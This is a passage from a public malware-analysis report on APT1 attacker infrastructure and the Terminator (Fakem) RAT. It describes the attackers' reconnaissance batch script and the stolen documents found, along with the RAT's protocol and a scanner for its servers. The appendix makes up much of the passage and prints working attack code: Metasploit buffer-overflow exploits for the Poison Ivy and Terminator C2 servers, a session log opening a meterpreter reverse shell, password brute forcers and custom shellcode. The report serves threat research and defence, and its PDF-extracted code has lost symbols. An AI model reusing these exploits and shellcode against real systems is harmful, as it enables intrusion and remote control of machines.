RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 16 of 48 getos.exe 71d3f12a947b4da2b7da3bee4193a110 Binary to collect information as group, server and OS via SMB dump.exe a4ad1d1a512a7e00d2d4c843ef559a7a gsecdump v0.7 by Johannes Gumbel nltest.exe 53b77ada5498ef207d48a76243051a01 http://technet.microsoft.com/en- us/library/cc73193528vws.1029.aspx pr.exe 98a65022855013588603b8bed1256d5e Dotpot Port Scanner Ver 0.92 wget.exe 57a9d084b7d016f776bfc78a2e76d03d Official wget binary xForceDel.ex 9fbea622b9a1361637e0b97d7dd34560 Tool to delete lock file The RAT called Terminator will be described in the next chapter.
We found a batch script similar to the one described in Mandiants report: echo off echo computername  c:\recycler\computername_base.dat qwinsta  c:\recycler\computername_base.dat date /t  c:\recycler\computername_base.dat time /t  c:\recycler\computername_base.dat ipconfig /all  c:\recycler\computername_base.dat nbtstat -n  c:\recycler\computername_base.dat systeminfo  c:\recycler\computername_base.dat set  c:\recycler\computername_base.dat net share  c:\recycler\computername_base.dat net start  c:\recycler\computername_base.dat tasklist /v  c:\recycler\computername_base.dat netstat -ano  c:\recycler\computername_base.dat dir c:\ /a  c:\recycler\computername_base.dat dir d:\ /a  c:\recycler\computername_base.dat dir c:\progra1  c:\recycler\computername_base.dat dir c:\docume1  c:\recycler\computername_base.dat net view /domain  c:\recycler\computername_base.dat dir /a /s c:\  c:\recycler\computername_filelist.dat dir /a /s d:\  c:\recycler\computername_filelist.dat del c:\recycler\base.bat The purpose of this batch script is to get information about an infected workstation.
In addition, we found a directory with the official SecureCrt, which is an SSH client.
We also found the SysInternals suite from Microsoft.
4.3 Targets The attackers seem to use a dedicated proxy and Poison Ivy server combination for each target.
When a target discovers the IP address of a proxy, this address is reassigned to another target.
Thats why it is primordial to share the CC servers IPs with our partners.
The targets were private and public companies, political institutions, activists, associations or reporters.
On the Poison Ivy server, a directory is created for every target.
Within this directory, a directory for each infected machine was created.
The naming convention for those directories is HOSTNAMEUSERNAME.
Here is an example: E:\companyABCD\alienrootbsd\ In those directories files are not sorted in any specific manner.
The documents types are: - .PPT Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 17 of 48 - .XLS - .DOC - .PDF - .JPG Among those documents, we found: - Network diagrams - Internal IP/user/password combination (local administrator, domain administrator, root, web, webcam) - Map of the building with digital code to open doors - Security incident listings - Security policies - The sensitive documents were password protected.
The passwords pattern is [a-z]3,4[0-9]3,4, so it was easy to brute force them in reasonable time.
Here is an example of a network diagram.
Figure 6: Example of network target diagram Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 18 of 48 5 Terminator RAT (aka Fakem RAT) 5.1 Description On one of the proxy server, we identified a binary called Terminator3.6.exe.
After a quick analysis we noticed that this binary is the server side of a homemade Remote Administration Tool (RAT).
After analysis, we identified that this sample corresponds to Fakem RAT discovered by Trendmicro in January 2013.
Additional information can be found there: http://www.trendmicro.com/cloud- content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf.
We were lucky enough to find the client side (the malware) on the same server.
These two binaries allowed us to test the product and see how it works.
5.2 Password protection When the server is starting, a password is asked: Figure 7: Terminator password We decided to crack this password.
A CRC is generated based on the supplied password.
Here is the algorithm of this CRC: Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 19 of 48 Figure 8: Terminator CRC algorithm After this operation, a xor, then a compare operation is done: Figure 9: Terminator xor and compare operation on the password To obtain the password, we developed a brute forcer the code source is available in the appendix.
The first argument is the maximum number or characters and the second is the value used in the comparison (available in the ASM code).
rootbsdalien:/terminator ./bf 10 0xdafd58f3 DEBUG:AphX dafd58f3 dafd58f3 In this case the password to start the server is AphX.
5.3 Features and usage The malwares way to operate is simple and efficient since it does not embed any specific feature.
The malware waits for a library (DLL) sent from the command and control.
The attackers then choose a specific feature, and send the associated DLL file to the infected machine.
The libraries are stored in the servers executable file as resources.
The resources are not encrypted but the libraries headers are removed.
The communication scheme is really weird, the infected machine (the client) sent HTML to the CC.
The communication starts with: htmltitle12356/titlebody This string can be identified in the memory of the process.
The pattern of the connection is: stage  htmltitle12356/titlebody stage  \xa0\xf4\xf6\xf6 stage  \xf6  (0x400 - len(stage)) Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 20 of 48 Here is the main RATs GUI : Figure 10: Terminator: starting interface We can choose between three different protocols: Figure 11: Terminator: Protocol and port choice When a machine is infected, it appears on the GUI: Figure 12: Terminator: List of infected machines Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 21 of 48 Below is the interface that is shown once a machine has been selected: Figure 13: Terminator: List of features On the screenshot we can see the 10 available features.
Each one of the features matches a DLL file.
To upload a DLL to the infected machine (and enable its feature), we have to tick the features checkbox and then click on Upload Plug.
For example, if we choose Shell Plug-ins, the button Shell (on the left pane) becomes enabled.
Here is the list of available features: - File management - Process management - Shell access - Screenshot - Registry management - Services management - Get information of the infected machine Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 22 of 48 - Keylogger - Dump password hashes in memory - View users files.
Here are some screenshots of the administration interface: Figure 14: Terminator: List of processes on the infected machine Figure 15: Terminator: List of opened ports on the infected machine Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 23 of 48 Figure 16: Terminator: Remote shell on the infected machine Figure 17: Terminator: Registry access to the infected machine Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 24 of 48 Figure 18: Terminator: Services management on the infected machine Figure 19: Terminator: Information about the infected machine Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 25 of 48 Figure 20: Terminator: Installed software on the infected machine 5.4 Scanner We decided to create a scanner to identify the servers which were running Terminator.
Here is the code to identify the service: def check_terminator(self, host, port, res): try: af, socktype, proto, canonname, sa  res s  socket.socket(af, socktype, proto) s.settimeout(6) s.connect(sa) stage  htmltitle12356/titlebody stage  \xa0\xf4\xf6\xf6 stage  \xf6  (0x400 - len(stage)) s.sendall(stage) data  s.recv(0x400) if len(data)  0x400: return if data.find(htmltitle12356/titlebody)  -1: return print s Terminator s s:d  (datetime.datetime.now(), host, sa[0], sa[1]) With this script, we identified more CC servers managed by the attackers, which allowed us to refine our scheme of the attackers infrastructure.
5.5 Remote code execution vulnerability After a full analysis of the communication protocol, we identified a vulnerability in the Command Control executable: The server does not correctly parse the data sent by the infected machine.
We created an exploit to remotely take control of the command  control.
The code source of the Metasploit exploit is available in the appendix.
The exploitation provided the following result.
msf  use exploit/windows/misc/terminator_judgment_day Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 26 of 48 msf  exploit(terminator_judgment_day)  show options Module options (exploit/windows/misc/terminator_judgment_day): Name   Current Setting  Required  Description ----   ---------------  --------  ----------- RHOST                   yes       The target address RPORT  80               yes       The target port Exploit target: Id  Name --  ---- 0   Terminator 3.7 / Windows XP SP3 msf  exploit(terminator_judgment_day)  set rhost 192.168.0.45 rhost  192.168.0.45 msf  exploit(terminator_judgment_day)  set payload meterpreter/revers[] payload  windows/meterpreter/reverse_https msf  exploit(terminator_judgment_day)  set lhost 192.168.0.24 lhost  192.168.0.24 msf  exploit(terminator_judgment_day)  exploit [] Started HTTPS reverse handler on https://192.168.0.24:8443/ [] Connection... [] 1024 - 653 [] Send exploit... [] 192.168.0.45:1050 Request received for /q1fT... [] 192.168.0.45:1050 Staging connection for target /q1fT received... [] Patched user-agent at offset 641512... [] Patched transport at offset 641172... [] Patched URL at offset 641240... [] Patched Expiration Timeout at offset 641772... [] Patched Communication Timeout at offset 641776... [] Meterpreter session 1 opened (192.168.0.24:8443 - 192.168.0.45:1050) at 2013-03-13 10:04:38 0100 meterpreter Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 27 of 48 6 Conclusion In this report, we document how we could reveal the methodology and tools used by an attacker.
The used technologies were commonly known, which supports our fears that such kind of APT affects more and more infrastructures.
Among them we can find public companies, governmental and political institutions The most efficient and proactive way to protect an infrastructure and fight back the attackers is to understand their attacks and the way they work.
An interesting fact is to see the professionalization in this field.
Here are some key facts about the attackers: - More than 300 servers - Use of proxy servers to hide their activities - one server per target - custom made malware - working hours, such as office employees - really good organization - Infrastructures such as the one detailed in this report are expensive but Intelligence is a real issue.
People or organisations seem do not hesitate to pay for such illegal information theft.
The only real defense is offensive defense (Mao Zedong) Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 28 of 48 Appendix Poison Ivy exploit  This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions.
Please see the Metasploit web site for more information on licensing and terms of use.
http://metasploit.com/  require msf/core require camellia class Metasploit3  Msf::Exploit::Remote Rank  NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Brute def initialize(info  ) super(update_info(info, Name  Poison Ivy 2.3.2 CC Server Buffer Overflow, Description     q blabla , License         MSF_LICENSE, Author [ Hugo Caron,  Malware.lu ], DisclosureDate  Apr 2013, DefaultOptions  EXITFUNC  thread, , Payload  StackAdjustment    -4000, Space              10000, BadChars           , , Platform        win, Targets [ [ Poison Ivy 2.3.2,  Ret  0x0041AA97, RWAddress  0x00401000, Offset  0x806D, PayloadOffset  0x75, jmpPayload \x81\xec\x00\x80\x00\x00\xff\xe4  ], [ Poison Ivy 2.3.2 - Bruteforce,  Ret  0x0041AA97, Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 29 of 48 RWAddress  0x00401000, Offset  0x806D, PayloadOffset  0x75, jmpPayload \x81\xec\x00\x80\x00\x00\xff\xe4, Bruteforce  Start   Try  1 , Stop   Try  100 , Step   1, Delay  0   ] ], DefaultTarget   0 )) register_options( [ Opt::RPORT(3460), OptBool.new(RANDHEADER, [true, Send random bytes as the header, false]), OptString.new(Password, [true, Client password, admin ]), ], self.class) register_advanced_options( [ OptInt.new(BruteWait, [ false, Delay between brute force attempts, 2 ]) ], self.class) end def pad(data, pad_len) data_len  data.length return data  \x00(pad_len-data_len) end def check c  Camellia.new(pad(datastore[Password], 32)) sig  c.encrypt(\x0016) lensig  [0x000015D0].pack(V) connect sock.put(\x00  256) response  sock.read(256) datalen  sock.read(4) disconnect if datalen  lensig if response[0, 16]  sig print_status(Password: \datastore[Password]\) else print_status(Unknown password.)
end return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 30 of 48 end def single_exploit if datastore[RANDHEADER]  true header  rand_text(0x20) else c  Camellia.new(pad(datastore[Password], 32)) header    c.encrypt(\x01\x00\x00\x00\x01\x00\x00\x00 \x00\x00\x01\x00\xbb\x00\x00\x00) header  c.encrypt(\xc2\x00\x00\x00\xc2\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00) end do_exploit(header) end def brute_exploit(brute_target) if brute_target[Try]  1 print_status(Bruteforcing - Try brute_target[Try]: Header for admin password) header  \xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f \x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77 \x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15 \xde\xb7 else print_status(Bruteforcing ) header  rand_text(0x20) end do_exploit(header) end def do_exploit(header) Handshake connect print_status(Performing handshake...) sock.put(\x00  256) sock.get Dont change the nulls, or it might not work xploit xploit  header xploit  \x00  (target[PayloadOffset] - xploit.length) xploit  payload.encoded xploit  \x00  (target[Offset] - xploit.length) xploit  [target.ret].pack(V) xploit  [target[RWAddress]].pack(V) xploit  target[jmpPayload] The disconnection triggers the exploit print_status(Sending exploit...) sock.put(xploit) select(nil,nil,nil,5) disconnect end end Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 31 of 48 Camellia plugin for John the Ripper / Standard includes / include string.h include assert.h include errno.h / John includes / include arch.h include misc.h include common.h include formats.h include params.h include options.h include base64.h / If openmp / ifdef _OPENMP include omp.h define OMP_SCALE 32 endif / crypto includes / include openssl/camellia.h define FORMAT_LABEL            camellia define FORMAT_NAME             Camellia bruteforce define ALGORITHM_NAME          32/ ARCH_BITS_STR define BENCHMARK_COMMENT define BENCHMARK_LENGTH        -1 define PLAINTEXT_LENGTH        32 define BINARY_SIZE             16 define SALT_SIZE               0 define MIN_KEYS_PER_CRYPT      1 define MAX_KEYS_PER_CRYPT      1 static struct fmt_tests cam_tests[] camelliaNeEGbM0Vhz7uFGJZrcPiw, admin , NULL  static char (saved_key)[PLAINTEXT_LENGTH  1] static char (crypt_out)[BINARY_SIZE] static void init(struct fmt_main self)  if defined (_OPENMP) int omp_t omp_t  omp_get_max_threads() self-params.min_keys_per_crypt  omp_t omp_t  OMP_SCALE self-params.max_keys_per_crypt  omp_t endif saved_key  mem_calloc_tiny(sizeof(saved_key) self-params.max_keys_per_crypt, MEM_ALIGN_NONE) crypt_out  mem_calloc_tiny(sizeof(crypt_out) self-params.max_keys_per_crypt, MEM_ALIGN_NONE)  static int valid(char ciphertext, struct fmt_main self)  Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 32 of 48 return strncmp(ciphertext, camellia, 10) //magic secret number  static void get_binary(char ciphertext) static union unsigned char c[BINARY_SIZE1] ARCH_WORD dummy buf unsigned char out  buf.c char p p  strrchr(ciphertext, )  1 base64_decode(p, strlen(p), (char)out) return out  static void crypt_all(int count)  int index  0 ifdef _OPENMP pragma omp parallel for for (index  0 index  count index) endif  CAMELLIA_KEY st_key unsigned char in[16]  0 unsigned char key[32]  0 memcpy(key, saved_key[index], strlen(saved_key[index])) Camellia_set_key(key, 256, st_key) Camellia_encrypt(in, crypt_out[index], st_key)   static int cmp_all(void binary, int count)  int index  0 ifdef _OPENMP for ( index  count index) endif if (memcmp(binary, crypt_out[index], BINARY_SIZE)) return 1 return 0  static int cmp_one(void binary, int index)  return memcmp(binary, crypt_out[index], BINARY_SIZE)  static int cmp_exact(char source, int index)  return 1  static void cam_set_key(char key, int index)  int saved_key_length  strlen(key) if (saved_key_length  PLAINTEXT_LENGTH) saved_key_length  PLAINTEXT_LENGTH memcpy(saved_key[index], key, saved_key_length) saved_key[index][saved_key_length]  0 Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 33 of 48  static char get_key(int index)  return saved_key[index]  struct fmt_main fmt_camellia  FORMAT_LABEL, FORMAT_NAME, ALGORITHM_NAME, BENCHMARK_COMMENT, BENCHMARK_LENGTH, PLAINTEXT_LENGTH, BINARY_SIZE, if FMT_MAIN_VERSION  9 DEFAULT_ALIGN, endif SALT_SIZE, if FMT_MAIN_VERSION  9 DEFAULT_ALIGN, endif MIN_KEYS_PER_CRYPT, MAX_KEYS_PER_CRYPT, FMT_CASE  FMT_8_BIT  FMT_OMP, cam_tests , init, fmt_default_prepare, valid, fmt_default_split, get_binary, fmt_default_salt, if FMT_MAIN_VERSION  9 fmt_default_source, endif  fmt_default_binary_hash, , fmt_default_salt_hash, fmt_default_set_salt, cam_set_key, get_key, fmt_default_clear_keys, crypt_all,  fmt_default_get_hash, , cmp_all, cmp_one, cmp_exact   Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 34 of 48 Terminator (aka Fakem RAT) password brute forcer // gcc -o bf bf.c // ./bf 10 0xdafd58f3 include stdio.h include stdint.h include string.h define ror(i,by)                               \ __asm__ (                                     \ ror b1,q0                        \ :g (i)                            \ :Jc (by) ) uint32_t crc32(char data, int len) uint32_t crc  0 int i for (i  0 i  len i) crc  data[i] ror (crc, 5)  return crc  0x007A7871  char MIN  0, MAX  z int next (char s, int len) int i for (i  0 i  len i) if (s[i]  MAX) s[i] return i  s[i]  MIN  return i  int main(int argc, char argv) int len sscanf(argv[1], u, len) uint32_t crc sscanf(argv[2], x, crc) int i for (i  1 i  len i) char key[i  1] memset (key, MIN, i) key[i]  0 int current   i - 1 while (next(key, i)  i) uint32_t _crc  crc32(key, i) if (crc  _crc) printf(DEBUG:s x x\n, key, crc, _crc) return     Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 35 of 48 Terminator (aka Fakem RAT) exploit require msf/core class Metasploit3  Msf::Exploit::Remote Rank  NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info  ) super(update_info(info, Name            Terminator 3.7, RCE, Description     q This module exploits a stack buffer overflow in Terminator 3.7 CC server.
,
License         MSF_LICENSE, Author [ Hugo Caron, ], References [ [ URL, http://www.malware.lu/ ] ], DisclosureDate  Mar XX 2013, DefaultOptions  EXITFUNC  thread, , Payload  StackAdjustment    -4000, Space              512, BadChars           , , Platform        win, Targets [ [ Terminator 3.7 / Windows XP SP3,  Ret  0x0041AA97, RWAddress  0x00401000, Offset  0x806D, PayloadOffset  0x75, jmpPayload \x81\xec\x00\x80\x00\x00\xff\xe4  ] ], DefaultTarget   0 )) register_options( [ Opt::RPORT(80), ], self.class) register_advanced_options( [ Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 36 of 48 ], self.class) end def check return Exploit::CheckCode::Vulnerable return Exploit::CheckCode::Safe end def ror(byte, count) while count  0 do byte  (byte  1  byte  7)  0xFF count - 1 end return byte end def encode(data) key  ARCHY.reverse out data.each_byte do c key.each_byte do k c  k c  ror(c, 3) end out  c end return out end def exploit() Handshake connect print_status(Connection...) ROP const sc_jmp_back   \xe9\x20\xfc\xff\xff  -992 push_esp  [0x040675e].pack(V) Build ROP rop rop  push_esp rop  A  4 rop  sc_jmp_back Build block to send block_size  0x400 offset_block  128 block block  A  offset_block block  rop block  payload.encoded print_status(block_size - block.length) block  B  (block_size - block.length) block  encode(block) content_len  0xc68 header  POST /foo HTTP/1.0\r\nContent-Length: content_len\r\n\r\n xploit xploit  header xploit  block print_status(Send exploit...) Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 37 of 48 sock.put(xploit) select(nil,nil,nil,5) disconnect end end Shellcode main.c: include global.h include winutils.h define htons(n) (((((unsigned short)(n)  0xFF))  8)  (((unsigned short)(n) 0xFF00)  8)) int _main(int argc, char argv[]) HMODULE kernel32, ws32, msvcrt32, ntdll WSADATA wsaData sockaddr_in service SOCKET sock, sockc unsigned int len, i, cur_len0 unsigned short port  htons(80) int iResult int (sc)() s_config c init_config(c) kernel32  get_kernel32() c.LoadLibraryA  (sLoadLibraryA)getprocaddrbyhash(kernel32, dLoadLibraryA) c.VirtualAlloc  (sVirtualAlloc)getprocaddrbyhash(kernel32, dVirtualAlloc) ws32  c.LoadLibraryA(c.sws32) c.socket  (ssocket)getprocaddrbyhash(ws32, dsocket) c.closesocket  (sclosesocket)getprocaddrbyhash(ws32, dclosesocket) c.getsockname  (sgetsockname)getprocaddrbyhash(ws32, dgetsockname) c.recv  (srecv)getprocaddrbyhash(ws32, drecv) c.listen  (slisten)getprocaddrbyhash(ws32, dlisten) c.bind  (sbind)getprocaddrbyhash(ws32, dbind) c.accept  (saccept)getprocaddrbyhash(ws32, daccept) //for (i0 i  65535 i) for (i0 i  128000 i) struct sockaddr_in sin socklen_t len  sizeof(sin) if (c.getsockname(i, (struct sockaddr )sin, len)  -1) if (sin.sin_port  htons(0)) if ( sin.sin_addr.s_addr  0x0) port  sin.sin_port c.closesocket(i)   Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 38 of 48 sock  c.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) service.sin_family  AF_INET service.sin_addr.s_addr  0 service.sin_port  port if(c.bind(sock, (SOCKADDR )  service, sizeof (service)) SOCKET_ERROR) goto exit  c.listen(sock, 1) sockc  c.accept(sock, NULL, NULL) c.closesocket(sock) iResult  c.recv(sockc, len, sizeof(len), 0) if(iResult  sizeof(len)) goto exit  sc  c.VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE) cur_len  0 do iResult  c.recv(sockc, sccur_len, len-cur_len, 0) if(iResult  0) break else if(iResult  0) goto exit  cur_len  iResult while(cur_len  len) asm(movl 0, edi : : r(sockc) :) sc() exit: c.closesocket(sock) return 1  global.h: ifndef __GLOBAL__ define __GLOBAL__ include fct.h typedef struct char sws32[12] unsigned int sws32_len sVirtualAlloc VirtualAlloc sLoadLibraryA LoadLibraryA sclosesocket closesocket sgetsockname getsockname srecv recv sWSAStartup WSAStartup ssocket socket slisten listen sbind bind saccept accept Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 39 of 48 s_config void init_config(s_config config) endif fct.h: ifndef __FCT__ define __FCT__ include windows.h define _WIN32_WINNT  0x0501 include winsock2.h include ws2tcpip.h define dLoadLibraryA 0x9322f2db define dMessageBoxA 0x1c4e3f7a define dmalloc 0x0d9d6e2d define dGetProcessHeap 0x15a3e604 define dHeapAlloc 0x50aa445e // RtlAllocateHeap define dExpandEnvironmentStringsA 0x85fc3b07 define dGetModuleFileNameA 0x9fedfa45 define dCopyFileA 0x6a4f8fa9 define dSetFileAttributesA 0x1ce726cf define dRegOpenKeyExA 0xc1ab24e2 define dRegSetValueExA 0xc0050eca define dRegCloseKey 0xa60bfc30 define dWSAStartup 0xab5c89eb define dgetaddrinfoA 0x708fb562 define dsocket 0x4ebb8f32 define dWSACleanup 0xe25e6cc4 define dconnect 0xda57c9f1 define dfreeaddrinfo 0xbf712706 define drecv 0x97c180f9 define dCreateThread 0xc891017d define dclosesocket 0x53d900a4 define dWaitForSingleObject 0x2cecf27a define dVirtualFree 0x1d3faf80 define dVirtualAlloc 0xc143c5b9 define dSleep 0x5b06c2b6 define dsend 0x2fe09c83 define dgetsockname 0x5adeac8e define dbind 0x480d35a8 define daccept 0xd0f420d1 define dlisten 0xc8da78c8 typedef HMODULE (CALLBACK sLoadLibraryA)(char ) typedef void (CALLBACK smalloc)(size_t size ) typedef HANDLE (CALLBACK sGetProcessHeap)(void) typedef LPVOID (CALLBACK sHeapAlloc)( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ) Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 40 of 48 typedef int (CALLBACK sMessageBoxA)(HWND hWnd, char lpText, char lpCaption, UINT uType) typedef DWORD (CALLBACK sExpandEnvironmentStringsA)( LPCTSTR lpSrc, LPTSTR lpDst, DWORD nSize ) typedef DWORD (CALLBACK sGetModuleFileNameA)( HMODULE hModule, LPTSTR lpFilename, DWORD nSize ) typedef BOOL (CALLBACK sCopyFileA)( LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, BOOL bFailIfExists ) typedef BOOL (CALLBACK sSetFileAttributesA)( LPCTSTR lpFileName, DWORD dwFileAttributes ) typedef LONG (CALLBACK sRegOpenKeyExA)( HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult ) typedef LONG (CALLBACK sRegSetValueExA)( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE lpData, DWORD cbData ) typedef LONG (CALLBACK sRegCloseKey)( HKEY hKey ) typedef int (CALLBACK sWSAStartup)( WORD wVersionRequested, LPWSADATA lpWSAData ) typedef int (CALLBACK sgetaddrinfoA)( PCSTR pNodeName, PCSTR pServiceName, const struct addrinfo pHints, struct addrinfo ppResult ) Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 41 of 48 typedef SOCKET (CALLBACK ssocket)( int af, int type, int protocol ) typedef int (CALLBACK sWSACleanup)(void) typedef int (CALLBACK sconnect)( SOCKET s, const struct sockaddr name, int namelen ) typedef void (CALLBACK sfreeaddrinfo)( struct addrinfo ai ) typedef int (CALLBACK srecv)( SOCKET s, char buf, int len, int flags ) typedef HANDLE (CALLBACK sCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ) typedef int __stdcall (CALLBACK sclosesocket)( SOCKET s ) typedef DWORD (CALLBACK  sWaitForSingleObject)( HANDLE hHandle, DWORD dwMilliseconds ) typedef BOOL (CALLBACK  sVirtualFree)( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) typedef LPVOID (CALLBACK  sVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) typedef VOID (CALLBACK  sSleep)( DWORD dwMilliseconds ) Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 42 of 48 typedef int (CALLBACK ssend)( SOCKET s, const char buf, int len, int flags ) typedef int __stdcall (CALLBACK sgetsockname)( SOCKET s, struct sockaddr name, int namelen ) typedef int (CALLBACK slisten)( SOCKET s, int backlog ) typedef SOCKET (CALLBACK saccept)( SOCKET s, struct sockaddr addr, int addrlen ) typedef int (CALLBACK sbind)( SOCKET s, const struct sockaddr name, int namelen ) // MSF init RelfctiveDllInjection typedef int (CALLBACK sInit)( SOCKET s ) typedef struct short   sin_family u_short sin_port struct  in_addr sin_addr char    sin_zero[8] sockaddr_in endif winutils.h: ifndef __WINUTILS__ define __WINUTILS__ include hashlib.h HMODULE get_kernel32(void) void getprocaddr(HMODULE module, char func_name) void getprocaddrbyhash(HMODULE module, unsigned int hash) int strcmp(char, char) int strlen(char) endif hashlib.h: Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 43 of 48 ifndef __HASHLIB__ define __HASHLIB__ unsigned int FNV1HashStr(char buffer) endif gethash.c: include stdio.h include hashlib.h int main(int argc, char argv[]) unsigned int hash  0 if (argc  2) fprintf(stderr, s string\n, argv[0]) return 1  hash  FNV1HashStr(argv[1]) printf(0x08x\n, hash) return 0  hash.asm: section .text define buffer [ebp8] define offset_basis 2166136261 http://forum.nasm.us/index.php?topic874.0 global FNV1HashStr FNV1HashStr: push ebp                     set up stack frame mov  ebp, esp push esi                     save registers used push edi push ebx push ecx push edx mov  esi, buffer            esi  ptr to buffer mov  eax, offset_basis      set to 2166136261 for FNV-1 mov  edi, 1000193h          FNV_32_PRIME  16777619 xor  ebx, ebx               ebx  0 nextbyte: mul  edi                    eax  eax  FNV_32_PRIME mov  bl, [esi]              bl  byte from esi xor  eax, ebx               al  al xor bl inc  esi                    esi  esi  1 (buffer pos) cmp byte [esi], 0 jnz  nextbyte               if ecx  0, jmp to NextByte Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 44 of 48 pop  edx                     restore registers pop  ecx pop  ebx pop  edi pop  esi mov  esp, ebp                restore stack frame pop  ebp ret                          eax  fnv1 hash winutils.asm: section .text global get_kernel32 global getprocaddr global getprocaddrbyhash global strcmp global strlen extern FNV1HashStr get_kernel32: push ebp mov ebp, esp mov ecx, [fs: 0x30]  pointer to PEB mov ecx, [ecx  0xc]  get PEB-Ldr mov ecx, [ecx  0x14]  get PEB-Ldr.
InMemoryOrderModuleList.
Flink (1st entry) next_module: mov ecx, [ecx]   2nd Entry, start check at second entry 1st is main module mov esi, [ecx  0x28]  get module name cmp word [esi  122], 0  check len 12 for kernel32 jne next_module mov eax, [ecx  0x10]    Get Kernel32 Base cmp word [eax], MZ    check for MZ je get_kernel32_end xor eax, eax get_kernel32_end: mov esp, ebp pop ebp ret getprocaddrbyhash: push ebp mov ebp, esp sub esp, 12  3 DWORD push ebx verify MZ and PE headers mov ebx, [ebp  0x08]  get arg1 cmp word [ebx], MZ jne getprocaddrbyhash_failed  check for MZ add ebx, [ebx  0x3C] Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 45 of 48 cmp word [ebx], PE jne getprocaddrbyhash_failed  check for PE mov   [ebp - 0x0C], edx    save the PE header find the real addr of the EAT mov    eax, [ebx  0x78]     OptionalHeader.
